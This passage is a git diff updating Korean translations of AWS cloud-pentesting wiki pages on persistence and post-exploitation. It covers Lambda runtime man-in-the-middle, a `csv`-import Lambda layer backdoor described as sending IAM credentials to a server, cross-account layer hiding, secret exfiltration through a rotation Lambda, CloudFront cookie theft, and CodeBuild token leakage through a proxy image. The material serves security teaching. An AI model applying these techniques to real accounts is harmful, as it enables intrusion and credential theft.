발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 액세스를 갖는다는 것을 의미합니다.** 게다가, Lambda 확장은 **호출 이벤트에 구독할 수 있는 능력**이 있지만, AWS는 이러한 확장에 원시 데이터를 공개하지 않습니다. 이는 **확장이 HTTP 요청을 통해 전송된 민감한 정보에 접근할 수 없도록 보장합니다.** @@ -26,13 +26,13 @@ Init (Rapid) 프로세스는 [http://127.0.0.1:9001](http://127.0.0.1:9001/)에 변수 **`AWS_LAMBDA_RUNTIME_API`**는 **자식 런타임 프로세스** 및 추가 확장에 대한 Rapid API의 **IP** 주소와 **포트** 번호를 나타냅니다. > [!WARNING] -> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경하면 Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**중간자 공격**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다. +> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경함으로써, Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**man-in-the-middle**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다. -**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, 이 변수에 의존하는 **우리 이후에 로드된 확장**도 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 소프트웨어가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다. +**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, **우리의 확장 이후에 로드된** 확장도 이 변수를 의존하여 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 코드가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)는 **메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **도용**하고 **수정**하기 위해 만들어졌습니다. +도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)는 **메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **훔치고** 심지어 **수정하는** 데 사용됩니다. ## 참고 문헌 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index abb131870..2bd7fa6d2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -8,7 +8,7 @@ Lambda 레이어는 **추가 코드를 포함할 수 있는** .zip 파일 아카 **함수당 최대 다섯 개의 레이어**를 포함할 수 있습니다. 함수에 레이어를 포함하면 **내용이 실행 환경의 `/opt`** 디렉토리에 추출됩니다. -**기본적으로**, 생성한 **레이어**는 **귀하의 AWS 계정에만 비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 귀하의 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 **함수는 레이어 버전을 계속 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다. +**기본적으로**, 생성한 **레이어**는 AWS 계정에 **비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 해당 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 **함수는 레이어 버전을 계속 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다. 컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신, 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다. @@ -18,23 +18,23 @@ Python이 lambda에서 사용할 load path는 다음과 같습니다: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +두 번째와 세 번째 위치는 **lambda layers**가 파일을 압축 해제하는 디렉토리인 **`/opt/python/lib/python3.9/site-packages`**와 **`/opt/python`**에 의해 차지됩니다. > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> 공격자가 사용 중인 lambda **layer**에 **백도어**를 걸거나 **일반 라이브러리가 로드될 때 임의의 코드를 실행하는** **layer**를 추가하면, 각 lambda 호출 시 악성 코드를 실행할 수 있습니다. 따라서 요구 사항은 다음과 같습니다: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- 피해자의 코드에 의해 **로드되는 라이브러리** 확인 +- **커스텀 코드를 실행하고 원래** 라이브러리를 **로드하는 lambda layers**로 **프록시 라이브러리** 생성 -### Preloaded libraries +### 미리 로드된 라이브러리 > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. +> 이 기술을 악용할 때 어려움을 발견했습니다: 일부 라이브러리는 코드가 실행될 때 파이썬 런타임에 **이미 로드되어** 있습니다. `os`나 `sys`와 같은 것들을 찾을 것으로 예상했지만, **`json` 라이브러리조차 로드되어 있었습니다.**\ +> 이 지속성 기술을 악용하기 위해서는 코드가 실행될 때 **로드되지 않은 새로운 라이브러리**를 **로드해야** 합니다. -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +이와 같은 파이썬 코드를 사용하면 lambda의 파이썬 런타임 내에서 **미리 로드된 라이브러리 목록**을 얻을 수 있습니다: ```python import sys @@ -44,24 +44,24 @@ return { 'body': str(sys.modules.keys()) } ``` -그리고 이것은 **목록**입니다 (라이브러리 `os` 또는 `json`이 이미 있는지 확인하십시오) +그리고 이것은 **목록**입니다 (라이브러리 `os` 또는 `json`이 이미 있는지 확인하세요) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` -그리고 이것은 **람다에서 기본적으로 설치된 라이브러리** 목록입니다: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +그리고 이것은 **lambda가 기본적으로 설치한 라이브러리** 목록입니다: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -### 람다 레이어 백도어 +### Lambda Layer 백도어 이 예제에서는 타겟 코드가 **`csv`**를 임포트한다고 가정해 보겠습니다. 우리는 **`csv` 라이브러리의 임포트를 백도어**할 것입니다. -이를 위해, 우리는 **`/opt/python/lib/python3.9/site-packages`** 경로에 **`__init__.py`** 파일이 있는 **csv** 디렉토리를 **생성**할 것입니다.\ -그런 다음, 람다가 실행되고 **csv**를 로드하려고 할 때, 우리의 **`__init__.py` 파일이 로드되고 실행될 것입니다**.\ +이를 위해, 우리는 lambda에 의해 로드되는 경로에 **`csv`** 디렉토리와 그 안에 **`__init__.py`** 파일을 생성할 것입니다: **`/opt/python/lib/python3.9/site-packages`**\ +그런 다음, lambda가 실행되고 **csv**를 로드하려고 할 때, 우리의 **`__init__.py` 파일이 로드되고 실행될 것입니다**.\ 이 파일은 다음을 수행해야 합니다: -- 우리의 페이로드를 실행 -- 원래의 csv 라이브러리 로드 +- 우리의 페이로드를 실행합니다 +- 원래의 csv 라이브러리를 로드합니다 -우리는 다음을 통해 두 가지를 모두 수행할 수 있습니다: +우리는 다음을 사용하여 두 가지를 모두 수행할 수 있습니다: ```python import sys from urllib import request @@ -83,11 +83,11 @@ import csv as _csv sys.modules["csv"] = _csv ``` -그런 다음, 이 코드를 **`python/lib/python3.9/site-packages/__init__.py`** 경로에 포함하여 zip 파일을 만들고 이를 lambda layer로 추가합니다. +그런 다음, 이 코드를 경로 **`python/lib/python3.9/site-packages/__init__.py`**에 넣고 lambda 레이어로 추가하는 zip 파일을 만듭니다. 이 코드는 [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)에서 찾을 수 있습니다. -통합된 페이로드는 **첫 번째 호출 시 또는 lambda 컨테이너가 재설정된 후 IAM 자격 증명을 서버로 전송합니다** (코드 변경 또는 콜드 람다), 그러나 **다음과 같은 다른 기술**도 통합될 수 있습니다: +통합된 페이로드는 **IAM 자격 증명을 서버로 전송합니다. 처음 호출되거나 lambda 컨테이너가 재설정된 후**(코드 변경 또는 콜드 람다) **다음과 같은 다른 기술**도 통합될 수 있습니다: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -95,14 +95,14 @@ sys.modules["csv"] = _csv ### 외부 레이어 -**외부 계정의 lambda layers를 사용할 수 있다는 점에 유의하십시오.** 또한, lambda는 권한이 없더라도 외부 계정의 레이어를 사용할 수 있습니다.\ +**외부 계정의 lambda 레이어를 사용할 수 있다는 점에 유의하십시오.** 또한, lambda는 권한이 없더라도 외부 계정의 레이어를 사용할 수 있습니다.\ 또한 **lambda가 가질 수 있는 최대 레이어 수는 5개**입니다. 따라서 이 기술의 다재다능성을 향상시키기 위해 공격자는 다음과 같은 방법을 사용할 수 있습니다: -- 사용자의 기존 레이어에 백도어를 설치합니다 (외부는 없습니다) -- **자신의 계정에** **레이어**를 **생성**하고, **희생자 계정에 레이어 사용 권한을 부여**하고, **희생자의 Lambda에 레이어를 구성**한 후 **권한을 제거**합니다. -- **Lambda**는 여전히 **레이어를 사용할 수 있으며** **희생자는** **레이어 코드를 다운로드할 수 있는 쉬운 방법이 없습니다** (람다 내부에서 rev shell을 얻는 것을 제외하고) +- 사용자의 기존 레이어에 백도어를 설치합니다(외부는 없음). +- **자신의 계정에** **레이어**를 **생성**하고, **희생자 계정에** 레이어 사용 권한을 부여한 후, **희생자의 Lambda에서** **레이어를 구성**하고 **권한을 제거**합니다. +- **Lambda**는 여전히 **레이어를 사용할 수 있으며** **희생자는** **레이어 코드를 다운로드할 수 있는 쉬운 방법이 없습니다**(람다 내부에서 리버스 쉘을 얻는 것을 제외하고). - 희생자는 **`aws lambda list-layers`**를 사용하여 **외부 레이어를 볼 수 없습니다**. ```bash # Upload backdoor layer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index bc9527652..fe230866a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -1,4 +1,4 @@ -# AWS - RDS Persistence +# AWS - RDS 지속성 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 3f38cc397..e190a4d65 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -12,11 +12,11 @@ ### KMS 클라이언트 측 암호화 -암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화된 키를 파일의 메타데이터에 저장**합니다 ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다: +암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화 키를 파일의 메타데이터에 저장합니다** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다:
-따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 만약 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다. +따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다. ### S3 ACL 사용하기 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 7c6258f92..15a5abd2b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -12,13 +12,13 @@ ### 리소스 정책을 통한 접근 -리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 자세한 내용은 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요. +리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 더 많은 정보는 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요. ### Secrets Rotate Lambda를 통한 접근 비밀을 자동으로 **회전**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면, 그는 직접 **새 비밀을 자신에게 유출**할 수 있습니다. -이런 행동을 위한 Lambda 코드의 예시는 다음과 같을 수 있습니다: +이런 행동을 위한 lambda 코드의 예시는 다음과 같을 수 있습니다: ```python import boto3 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 00c67b577..08a65594b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -1,4 +1,4 @@ -# AWS - SNS Persistence +# AWS - SNS 지속성 {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ ../aws-services/aws-sns-enum.md {{#endref}} -### Persistence +### 지속성 **SNS 주제**를 생성할 때 **누가 읽고 쓸 수 있는지** IAM 정책으로 지정해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\ 다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS 주제에서 읽고 쓸 수 있는 권한을 부여합니다: diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 25a34b4ac..886f7b0f5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -1,4 +1,4 @@ -# AWS - SQS Persistence +# AWS - SQS 지속성 {{#include ../../../banners/hacktricks-training.md}} @@ -32,6 +32,6 @@ SQS에서는 IAM 정책으로 **누가 읽고 쓸 수 있는지** 명시해야 } ``` > [!NOTE] -> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (어떻게든 다시 추가해야 합니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (다시 추가해야 할 필요가 있습니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index 3bd0aae28..f7f944cdf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1 +1 @@ -# AWS - SSM Perssitence +# AWS - SSM 지속성 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index a7e26ac8f..72c25fd11 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -4,7 +4,7 @@ ## Step Functions -자세한 내용은 다음을 확인하세요: +자세한 정보는 다음을 확인하세요: {{#ref}} ../aws-services/aws-stepfunctions-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 528f02b23..1ad3ca0e7 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -21,9 +21,9 @@ aws sts get-session-token \ --serial-number <mfa-device-name> \ --token-code <code-from-token> -# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호, 예: GAHT12345678 -# SMS 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:sms-mfa/username -# 가상 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:mfa/username +# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호입니다, 예: GAHT12345678 +# SMS 장치 이름은 AWS의 ARN입니다, 예: arn:aws:iam::123456789012:sms-mfa/username +# 가상 장치 이름은 AWS의 ARN입니다, 예: arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling @@ -44,7 +44,7 @@ optional arguments:
-PowerShell에서 역할 조작을 수행하는 코드 +PowerShell에서 역할 저글링을 수행하는 코드 ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 14fa02b46..b7bbe3a5b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -19,7 +19,7 @@ 이 기술은 [**이 CTF 작성글**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)에서 발견되었습니다. -[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 **`WHEN_NO_MATCH`** 값은 요청의 **Content-Type** 헤더를 확인할 때 변환 없이 요청을 백엔드로 전달합니다. +[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 값 **`WHEN_NO_MATCH`**는 요청의 **Content-Type** 헤더를 확인할 때, 변환 없이 요청을 백엔드로 전달합니다. 따라서 CTF에서 API Gateway는 요청이 `Content-Type: application/json`으로 전송될 때 **플래그가 응답으로 유출되는 것을 방지하는** 통합 템플릿을 가지고 있었습니다. ```yaml diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 1db9ee98f..86e7ee60a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ ### Man-in-the-Middle -이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**를 **CloudFront를 통한 통신**에 추가하거나 (이미 사용 중인 경우 수정하여) 사용자 정보를 **훔치고** (세션 **쿠키**와 같은) **응답을 수정**하는 몇 가지 다른 시나리오를 제안합니다 (악성 JS 스크립트 주입). +이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**가 **CloudFront를 통한 통신**에 추가되거나 (이미 사용 중인 경우 수정됨) 사용자 정보를 **훔치기** 위한 몇 가지 다른 시나리오를 제안합니다 (세션 **쿠키**와 같은) 및 **응답**을 **수정**합니다 (악성 JS 스크립트 주입). #### 시나리오 1: CloudFront가 버킷의 일부 HTML에 접근하도록 구성된 MitM @@ -26,6 +26,6 @@ - 민감한 정보를 훔치기 위해 lambda 함수의 **코드를 수정**합니다. -이 시나리오를 재현하기 위한 [**tf 코드 확인하기**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +이 시나리오를 재현하기 위한 [**tf 코드**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index e6143f482..0f10999e3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -21,13 +21,13 @@ Github, Gitlab 또는 Bitbucket에 연결하기 위해 Codebuild에 자격 증 ### CodeBuild 리포지토리 접근 남용 -**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 접근해야** 합니다. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다: +**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 대한 접근이 필요합니다**. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
-**CodeBuild 프로젝트는** 구성된 소스 제공자에 접근할 수 있어야 하며, **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 가능합니다. +**CodeBuild 프로젝트는** 구성된 소스 제공자에 대한 접근 권한을 가져야 하며, 이는 **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 이루어질 수 있습니다. -**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 남용하여 구성된 리포지토리의 코드를 유출하고 설정된 자격 증명이 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\ +**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 남용하여 구성된 리포지토리 및 설정된 자격 증명에 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\ 이를 위해 공격자는 **구성된 자격 증명이 접근할 수 있는 각 리포지토리의 URL을 변경하기만 하면 됩니다** (aws 웹사이트에서 모든 리포지토리를 나열해 줍니다):
@@ -54,11 +54,11 @@ aws-codebuild-token-leakage.md ```bash aws codebuild delete-project --name ``` -**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션에 대한 프로젝트 구성 손실 및 서비스 중단. +**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션의 프로젝트 구성 손실 및 서비스 중단. ### `codebuild:TagResource` , `codebuild:UntagResource` -공격자는 CodeBuild 리소스에서 태그를 추가, 수정 또는 제거할 수 있으며, 이는 귀하의 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. +공격자는 CodeBuild 리소스의 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 64b42417c..c4877fbb3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -10,26 +10,26 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -만약 계정에 Github에 대한 인증이 설정되어 있다면, Codebuild가 프로젝트 빌드를 실행하기 위해 **특정 도커 이미지를 사용하도록** 하여 **액세스** (**GH 토큰 또는 OAuth 토큰**)을 **유출**할 수 있습니다. +계정에 예를 들어 Github에 대한 인증이 설정되어 있는 경우, Codebuild가 프로젝트 빌드를 실행하기 위해 **특정 도커 이미지를 사용하도록** 하여 **액세스** (**GH token 또는 OAuth token**)을 **유출**할 수 있습니다. 이를 위해 **새 Codebuild 프로젝트를 생성**하거나 기존 프로젝트의 **환경**을 변경하여 **Docker 이미지**를 설정할 수 있습니다. 사용할 수 있는 Docker 이미지는 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)입니다. 이는 **env 변수 `https_proxy`**, **`http_proxy`** 및 **`SSL_CERT_FILE`**을 설정하는 매우 기본적인 Docker 이미지입니다. 이를 통해 **`https_proxy`** 및 **`http_proxy`**에 지정된 호스트의 대부분의 트래픽을 가로챌 수 있으며, **`SSL_CERT_FILE`**에 지정된 SSL CERT를 신뢰할 수 있습니다. -1. **자신의 Docker MitM 이미지를 생성하고 업로드하기** +1. **자신의 Docker MitM 이미지를 생성 및 업로드** - 리포지토리의 지침에 따라 프록시 IP 주소를 설정하고 SSL 인증서를 설정한 후 **도커 이미지를 빌드**합니다. - 메타데이터 엔드포인트에 대한 요청을 가로채지 않도록 **`http_proxy`를 설정하지 마십시오**. - **`ngrok`**을 사용하여 `ngrok tcp 4444`로 프록시를 호스트에 설정할 